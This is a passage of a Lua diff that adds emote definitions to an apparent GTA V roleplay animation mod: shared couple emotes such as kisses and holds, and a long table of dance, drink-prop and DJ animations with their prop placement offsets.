+ "Follow B (Back)",
+ "followa",
+ AnimationOptions = {
+ EmoteLoop = true,
+ Attachto = true,
+ xPos = 0.078,
+ yPos = 0.018,
+ zPos = 0.00,
+ xRot = 0.00,
+ yRot = 0.00,
+ zRot = 0.00
+ }
+ },
+ ["kiss"] = {
+ "hs3_ext-20",
+ "cs_lestercrest_3_dual-20",
+ "Kiss",
+ "kiss2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 10000,
+ SyncOffsetFront = 0.08
+ }
+ },
+ ["kiss2"] = {
+ "hs3_ext-20",
+ "csb_georginacheng_dual-20",
+ "Kiss 2",
+ "kiss",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 10000,
+ SyncOffsetFront = 0.08
+ }
+ },
+ ["kiss3"] = {
+ "hs3_ext-19",
+ "cs_lestercrest_3_dual-19",
+ "Kiss 3",
+ "kiss4",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 10000,
+ SyncOffsetFront = 0.08
+ }
+ },
+ ["kiss4"] = {
+ "hs3_ext-19",
+ "csb_georginacheng_dual-19",
+ "Kiss 4",
+ "kiss3",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteDuration = 10000,
+ SyncOffsetFront = 0.08
+ }
+ },
+ ["kisscuteneck"] = {
+ "genesismods_kissme@kissmale8",
+ "kissmale8",
+ "Kiss Cute - Neck (Male)",
+ "kisscuteneck2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ --SyncOffsetFront = 0.05,
+ --bone = 0,
+ xPos = -0.56,
+ yPos = 0.0,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0,
+
+ }
+ },
+ ["kisscuteneck2"] = {
+ "genesismods_kissme@kissfemale8",
+ "kissfemale8",
+ "Kiss Cute - Neck (Female)",
+ "kisscuteneck",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ --SyncOffsetFront = 0.05,
+
+ }
+ },
+ ["kisscutecheek"] = {
+ "genesismods_kissme@kissmale9",
+ "kissmale9",
+ "Kiss Cute Cheek (Male)",
+ "kisscutecheek2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ --SyncOffsetFront = 0.05,
+ --bone = 0,
+ xPos = 0.35,
+ yPos = 0.0,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0,
+
+ }
+ },
+ ["kisscutecheek2"] = {
+ "genesismods_kissme@kissfemale9",
+ "kissfemale9",
+ "Kiss Cute Cheek (Female)",
+ "kisscutecheek",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ --SyncOffsetFront = 0.05,
+
+ }
+ },
+ ["kisscutefh"] = {
+ "genesismods_kissme@kissmale10",
+ "kissmale10",
+ "Kiss Forehead (Male)",
+ "kisscutefh2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ --SyncOffsetFront = 0.05,
+ --bone = 0,
+ xPos = 0.38,
+ yPos = 0.0,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0,
+
+ }
+ },
+ ["kisslips"] = {
+ "chocoholic@couple13",
+ "couple13_clip",
+ "Kiss Cute Lips (Female)",
+ "kisslips2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.1600,
+ yPos = 0.2700,
+ zPos = 0.0,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 130.0,
+
+ }
+ },
+ ["kisslips2"] = {
+ "chocoholic@couple14",
+ "couple14_clip",
+ "Kiss Cute Lips (Male)",
+ "kisslips",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+
+ }
+ },
+ ["kisscutefh2"] = {
+ "genesismods_kissme@kissfemale10",
+ "kissfemale10",
+ "Kiss Forehead (Female)",
+ "kisscutefh",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ --SyncOffsetFront = 0.05,
+
+ }
+ },
+ ["coupleanim"] = {
+ "anim@scripted@robbery@tun_prep_uni_ig1_couple@",
+ "action_var_01_bank_manager",
+ "Couple Drinking (Wine Glasses)",
+ "coupleanim2",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0500,
+ -0.0100,
+ -0.1700,
+ 0.0,
+ 0.0,
+ 0.0,
+ },
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["coupleanim2"] = {
+ "anim@scripted@robbery@tun_prep_uni_ig1_couple@",
+ "action_var_01_female",
+ "Couple Drinking F (Wine Glasses)",
+ "coupleanim",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ },
+ SyncOffsetSide = -0.04125,
+ SyncOffsetFront = 0.11,
+ EmoteMoving = false,
+ EmoteLoop = true
+ }
+ },
+ ["holdme"] = { -- Custom Animation By SapphireMods
+ "mx_couple5_1_a",
+ "mx_couple5_1_a_clip",
+ "Hold Me",
+ "holdmeb",
+ AnimationOptions = {
+ EmoteLoop = true
+ },
+ },
+ ["holdmeb"] = { -- Custom Animation By SapphireMods
+ "mx_couple5_1_b",
+ "mx_couple5_1_b_clip",
+ "Be Held",
+ "holdme",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = -0.0200,
+ yPos = 0.2400,
+ zPos = -0.0100,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0
+ },
+ },
+ ["holdmec"] = { -- Custom Animation By SapphireMods
+ "mx_couple5_2_a",
+ "mx_couple5_2_a_clip",
+ "Hold Me 2",
+ "holdmed",
+ AnimationOptions = {
+ EmoteLoop = true
+ },
+ },
+ ["holdmed"] = { -- Custom Animation By SapphireMods
+ "mx_couple5_2_b",
+ "mx_couple5_2_b_clip",
+ "Be Held 2",
+ "holdmec",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = -0.1200,
+ yPos = 0.3600,
+ zPos = -0.0100,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = -180.0
+ },
+ },
+ ["holdmee"] = { -- Custom Animation By SapphireMods
+ "mx_couple5_3_a",
+ "mx_couple5_3_a_clip",
+ "Hold Me 3",
+ "holdmef",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["holdmef"] = { -- Custom Animation By SapphireMods
+ "mx_couple5_3_b",
+ "mx_couple5_3_b_clip",
+ "Be Held 3",
+ "holdmee",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ Attachto = true,
+ bone = 0,
+ xPos = 0.0400,
+ yPos = 0.2100,
+ zPos = -0.0300,
+ xRot = 0.0,
+ yRot = 0.0,
+ zRot = 0.0
+ },
+ },
+ ["bdoghumping"] = {
+ "creatures@rottweiler@amb@",
+ "hump_loop_chop",
+ "Dogs Humping (Male)",
+ "bdoghumping2",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ SyncOffsetFront = 0.0,
+ SyncOffsetSide = -0.028,
+ SyncOffsetHeading = 0.0
+ },
+ AdultAnimation = true,
+ AnimalEmote = true
+ },
+ ["bdoghumping2"] = {
+ "creatures@rottweiler@amb@",
+ "hump_loop_ladydog",
+ "Dogs Humping (Female)",
+ "bdoghumping",
+ AnimationOptions = {
+ EmoteMoving = false,
+ EmoteLoop = true,
+ SyncOffsetFront = 0.0,
+ SyncOffsetSide = -0.028,
+ SyncOffsetHeading = 0.0
+ },
+ AdultAnimation = true,
+ AnimalEmote = true
+ }
+}
+
+--- DANCING EMOTES, SOME WITH PROPS ---
+
+RP.Dances = {
+ ["dance"] = {
+ "anim@amb@nightclub@dancers@podium_dancers@",
+ "hi_dance_facedj_17_v2_male^5",
+ "Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@",
+ "high_center_down",
+ "Dance 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance3"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@male@var_a@",
+ "high_center",
+ "Dance 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance4"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@",
+ "high_center_up",
+ "Dance 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance5"] = {
+ "anim@amb@casino@mini@dance@dance_solo@female@var_a@",
+ "med_center",
+ "Dance 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance6"] = {
+ "misschinese2_crystalmazemcs1_cs",
+ "dance_loop_tao",
+ "Dance 6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance7"] = {
+ "misschinese2_crystalmazemcs1_ig",
+ "dance_loop_tao",
+ "Dance 7",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance8"] = {
+ "missfbi3_sniping",
+ "dance_m_default",
+ "Dance 8",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dance9"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "med_center_up",
+ "Dance 9",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancef"] = {
+ "anim@amb@nightclub@dancers@solomun_entourage@",
+ "mi_dance_facedj_17_v1_female^1",
+ "Dance F",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancef2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "high_center",
+ "Dance F2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancef3"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "high_center_up",
+ "Dance F3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancef4"] = {
+ "anim@amb@nightclub@dancers@crowddance_facedj@hi_intensity",
+ "hi_dance_facedj_09_v2_female^1",
+ "Dance F4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancef5"] = {
+ "anim@amb@nightclub@dancers@crowddance_facedj@hi_intensity",
+ "hi_dance_facedj_09_v2_female^3",
+ "Dance F5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancef6"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "high_center_up",
+ "Dance F6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclub"] = {
+ "anim@amb@nightclub_island@dancers@beachdance@",
+ "hi_idle_a_m03",
+ "Dance Club",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubb"] = {
+ "anim@amb@nightclub_island@dancers@beachdance@",
+ "hi_idle_a_m05",
+ "Dance Club 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubc"] = {
+ "anim@amb@nightclub_island@dancers@beachdance@",
+ "hi_idle_a_m02",
+ "Dance Club 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubd"] = {
+ "anim@amb@nightclub_island@dancers@beachdance@",
+ "hi_idle_b_f01",
+ "Dance Club 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclube"] = {
+ "anim@amb@nightclub_island@dancers@club@",
+ "hi_idle_a_f02",
+ "Dance Club 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubf"] = {
+ "anim@amb@nightclub_island@dancers@club@",
+ "hi_idle_b_m03",
+ "Dance Club 6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubg"] = {
+ "anim@amb@nightclub_island@dancers@club@",
+ "hi_idle_d_f01",
+ "Dance Club 7",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubh"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_facedj@",
+ "mi_dance_facedj_17_v2_male^4",
+ "Dance Club 8",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubi"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_single_props@",
+ "mi_dance_prop_13_v1_male^3",
+ "Dance Club 9",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubj"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_groups@groupd@",
+ "mi_dance_crowd_13_v2_male^1",
+ "Dance Club 10",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubk"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_facedj@",
+ "mi_dance_facedj_15_v2_male^4",
+ "Dance Club 11",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubl"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "high_center_up",
+ "Dance Club 12",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubm"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_facedj@",
+ "hi_dance_facedj_hu_15_v2_male^5",
+ "Dance Club 13",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubn"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_facedj@",
+ "hi_dance_facedj_hu_17_male^5",
+ "Dance Club 14",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubo"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@shuffle@",
+ "high_center",
+ "Dance Club 15",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceclubp"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@shuffle@",
+ "high_left_down",
+ "Dance Club 16",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancedrink"] = {
+ "anim@amb@nightclub_island@dancers@beachdanceprop@",
+ "mi_idle_c_m01",
+ "Dance Drink (Beer)",
+ AnimationOptions = {
+ Prop = 'prop_beer_amopen',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.00,
+ 0.0,
+ 0.0,
+ 0.0,
+ 20.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink2"] = {
+ "anim@amb@nightclub_island@dancers@beachdanceprop@",
+ "mi_loop_f1",
+ "Dance Drink 2 (Wine)",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0900,
+ 0.0,
+ 0.0,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink3"] = {
+ "anim@amb@nightclub_island@dancers@beachdanceprop@",
+ "mi_loop_m04",
+ "Dance Drink 3 (Whiskey)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_whiskey_opaque_s',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.00,
+ 0.0,
+ 0.0,
+ 0.0,
+ 10.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink4"] = {
+ "anim@amb@nightclub_island@dancers@beachdanceprops@male@",
+ "mi_idle_b_m04",
+ "Dance Drink 4 (Whiskey)",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_whiskey_opaque_s',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.00,
+ 0.0,
+ 0.0,
+ 0.0,
+ 10.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink5"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_single_props@",
+ "hi_dance_prop_09_v1_female^3",
+ "Dance Drink 5 (Wine)",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0900,
+ 0.0,
+ 0.0,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink6"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_single_props@",
+ "hi_dance_prop_09_v1_male^3",
+ "Dance Drink 6 (Beer)",
+ AnimationOptions = {
+ Prop = 'prop_beer_logopen',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0090,
+ 0.0010,
+ -0.0310,
+ 180.0,
+ 180.0,
+ -69.99
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink7"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_single_props@",
+ "hi_dance_prop_11_v1_female^3",
+ "Dance Drink 7 (Wine)",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0900,
+ 0.0,
+ 0.0,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dancedrink8"] = {
+ "anim@amb@nightclub_island@dancers@crowddance_single_props@",
+ "hi_dance_prop_11_v1_female^1",
+ "Dance Drink 8 (Wine)",
+ AnimationOptions = {
+ Prop = 'p_wine_glass_s',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0900,
+ 0.0,
+ 0.0,
+ 0.00
+ },
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["danceslow2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "low_center",
+ "Dance Slow 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceslow3"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_a@",
+ "low_center_down",
+ "Dance Slow 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceslow4"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@",
+ "low_center",
+ "Dance Slow 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceupper"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@",
+ "high_center",
+ "Dance Upper",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["danceupper2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@",
+ "high_center_up",
+ "Dance Upper 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["danceshy"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@male@var_a@",
+ "low_center",
+ "Dance Shy",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceshy2"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@female@var_b@",
+ "low_center_down",
+ "Dance Shy 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceslow"] = {
+ "anim@amb@nightclub@mini@dance@dance_solo@male@var_b@",
+ "low_center",
+ "Dance Slow",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly1"] = {
+ "rcmnigel1bnmt_1b",
+ "dance_loop_tyler",
+ "Dance Silly 1",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly"] = {
+ "special_ped@mountain_dancer@monologue_3@monologue_3a",
+ "mnt_dnc_buttwag",
+ "Dance Silly",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly2"] = {
+ "move_clown@p_m_zero_idles@",
+ "fidget_short_dance",
+ "Dance Silly 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly3"] = {
+ "move_clown@p_m_two_idles@",
+ "fidget_short_dance",
+ "Dance Silly 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly4"] = {
+ "anim@amb@nightclub@lazlow@hi_podium@",
+ "danceidle_hi_11_buttwiggle_b_laz",
+ "Dance Silly 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly5"] = {
+ "timetable@tracy@ig_5@idle_a",
+ "idle_a",
+ "Dance Silly 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly6"] = {
+ "timetable@tracy@ig_8@idle_b",
+ "idle_d",
+ "Dance Silly 6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly7"] = {
+ "anim@amb@casino@mini@dance@dance_solo@female@var_b@",
+ "med_center",
+ "Dance Silly 7",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly8"] = {
+ "anim@amb@casino@mini@dance@dance_solo@female@var_b@",
+ "high_center",
+ "Dance Silly 8",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancesilly9"] = {
+ "anim@mp_player_intcelebrationfemale@the_woogie",
+ "the_woogie",
+ "Dance Silly 9",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["danceold"] = {
+ "anim@mp_player_intupperuncle_disco",
+ "idle_a",
+ "Dance Old",
+ AnimationOptions = {
+ EmoteLoop = true,
+ -- EmoteMoving = true,-- Removing the comment will allow for you to mix and match dance emotes, ie /e danceold and /e dance to control the bottom half of the body.
+ }
+ },
+ ["danceglowstick"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_13_mi_hi_sexualgriding_laz",
+ "Dance Glowsticks",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0700,
+ 0.1400,
+ 0.0,
+ -80.0,
+ 20.0
+ },
+ SecondProp = 'ba_prop_battle_glowstick_01',
+ SecondPropBone = 60309,
+ SecondPropPlacement = {
+ 0.0700,
+ 0.0900,
+ 0.0,
+ -120.0,
+ -20.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["danceglowstick2"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_12_mi_hi_bootyshake_laz",
+ "Dance Glowsticks 2",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0700,
+ 0.1400,
+ 0.0,
+ -80.0,
+ 20.0
+ },
+ SecondProp = 'ba_prop_battle_glowstick_01',
+ SecondPropBone = 60309,
+ SecondPropPlacement = {
+ 0.0700,
+ 0.0900,
+ 0.0,
+ -120.0,
+ -20.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["danceglowstick3"] = {
+ "anim@amb@nightclub@lazlow@hi_railing@",
+ "ambclub_09_mi_hi_bellydancer_laz",
+ "Dance Glowsticks 3",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_glowstick_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0700,
+ 0.1400,
+ 0.0,
+ -80.0,
+ 20.0
+ },
+ SecondProp = 'ba_prop_battle_glowstick_01',
+ SecondPropBone = 60309,
+ SecondPropPlacement = {
+ 0.0700,
+ 0.0900,
+ 0.0,
+ -120.0,
+ -20.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["dancehorse"] = {
+ "anim@amb@nightclub@lazlow@hi_dancefloor@",
+ "dancecrowd_li_15_handup_laz",
+ "Dance Horse",
+ AnimationOptions = {
+ Prop = "ba_prop_battle_hobby_horse",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dancehorse2"] = {
+ "anim@amb@nightclub@lazlow@hi_dancefloor@",
+ "crowddance_hi_11_handup_laz",
+ "Dance Horse 2",
+ AnimationOptions = {
+ Prop = "ba_prop_battle_hobby_horse",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["dancehorse3"] = {
+ "anim@amb@nightclub@lazlow@hi_dancefloor@",
+ "dancecrowd_li_11_hu_shimmy_laz",
+ "Dance Horse 3",
+ AnimationOptions = {
+ Prop = "ba_prop_battle_hobby_horse",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true
+ }
+ },
+ ["dancewave"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "wave_dance_1",
+ "Wave Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave02"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "wave_dance_2",
+ "Wave Dance 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave03"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "wave_dance_3",
+ "Wave Dance 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave04"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "wave_dance_4",
+ "Wave Dance 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave05"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "tutankhamun_dance_1",
+ "Wave Dance 5 - Tutankhamen",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave06"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "tutankhamun_dance_2",
+ "Wave Dance 6 - Tutankhamen 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave07"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "snake_dance_1",
+ "Wave Dance 7 - Snake Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave08"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "slide_dance",
+ "Wave Dance 8 - Slide Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave09"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "slide_dance_2",
+ "Wave Dance 9 - Slide Dance 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave10"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "robot_dance",
+ "Wave Dance 10 - Robot Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave11"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "locking_dance",
+ "Wave Dance 11 - Locking Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancewave12"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "headspin",
+ "Wave Dance 12 - Headspin",
+ AnimationOptions = {
+ EmoteLoop = false
+ }
+ },
+ ["dancewave13"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "flaire_dance",
+ "Wave Dance 13 - Flaire Dance",
+ AnimationOptions = {
+ EmoteLoop = false
+ }
+ },
+ ["dancewave14"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "crowd_girl_dance",
+ "Wave Dance 14 - Female Crowd Dance",
+ AnimationOptions = {
+ EmoteLoop = false
+ }
+ },
+ ["dancewave15"] = { -- Custom Emote By BoringNeptune
+ "dancing_wave_part_one@anim",
+ "uprock_dance_1",
+ "Wave Dance 15 - Uprock Dance",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dancethriller"] = { -- Custom Emote By BoringNeptune
+ "mj_thriller",
+ "mj_thriller_dance",
+ "Dance - MJ Thriller",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["dj"] = {
+ "anim@amb@nightclub@djs@dixon@",
+ "dixn_dance_cntr_open_dix",
+ "DJ",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dj2"] = {
+ "anim@amb@nightclub@djs@solomun@",
+ "sol_idle_ctr_mid_a_sol",
+ "DJ 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj3"] = {
+ "anim@amb@nightclub@djs@solomun@",
+ "sol_dance_l_sol",
+ "DJ 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj4"] = {
+ "anim@amb@nightclub@djs@black_madonna@",
+ "dance_b_idle_a_blamadon",
+ "DJ 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj1"] = {
+ "anim@amb@nightclub@djs@dixon@",
+ "dixn_end_dix",
+ "DJ 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj5"] = {
+ "anim@amb@nightclub@djs@dixon@",
+ "dixn_idle_cntr_a_dix",
+ "DJ 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["dj6"] = {
+ "anim@amb@nightclub@djs@dixon@",
